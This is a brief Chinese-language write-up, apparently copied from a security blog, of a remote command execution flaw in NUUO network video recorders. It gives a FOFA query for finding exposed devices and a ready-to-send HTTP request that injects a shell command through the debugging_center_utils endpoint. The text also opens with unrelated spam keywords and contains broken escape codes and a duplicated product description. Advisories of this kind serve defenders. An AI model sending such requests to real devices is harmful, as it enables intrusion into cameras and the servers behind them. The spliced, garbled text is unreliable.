深圳便宜的网站建设,东莞常平新楼盘有哪些,苏宁易购官网商城,建造师考试0x01 产品描述#xff1a;
NUUO摄像头是由中国台湾NUUO公司生产的一款网络视频录像机#xff08;Network Video Recorder#xff0c;简称NVR#xff09;#xff0c;广泛应用于零售、交通、教育、政府和银行等多个领域。它能够同时管理多个IP摄像头#xff0c…0x01 产品描述
NUUO摄像头是由中国台湾NUUO公司生产的一款网络视频录像机Network Video Recorder简称NVR广泛应用于零售、交通、教育、政府和银行等多个领域。它能够同时管理多个IP摄像头实现视频录制、存储、回放及远程监控等功能采用先进的视频处理技术提供高清、流畅的视频画面满足各种复杂环境下的监控需求。0x02 漏洞描述 NUUO NVR摄像头在debugging_center_utils接口处存在远程命令执行攻击者可通过该漏洞在服务器上执行任意命令获取服务器权限。0x03 搜索语句
FofatitleNetwork Video Recorder Login || bodywww.nuuo.com/eHelpdesk.php
0x04 漏洞复现
GET /__debugging_center_utils___.php?log|netstat HTTP/1.1
Host: your-ip
Content-Type: text/xml; charsetutf-8
Content-Length: length 0x05 修复建议
厂商已发布补丁 请即时修复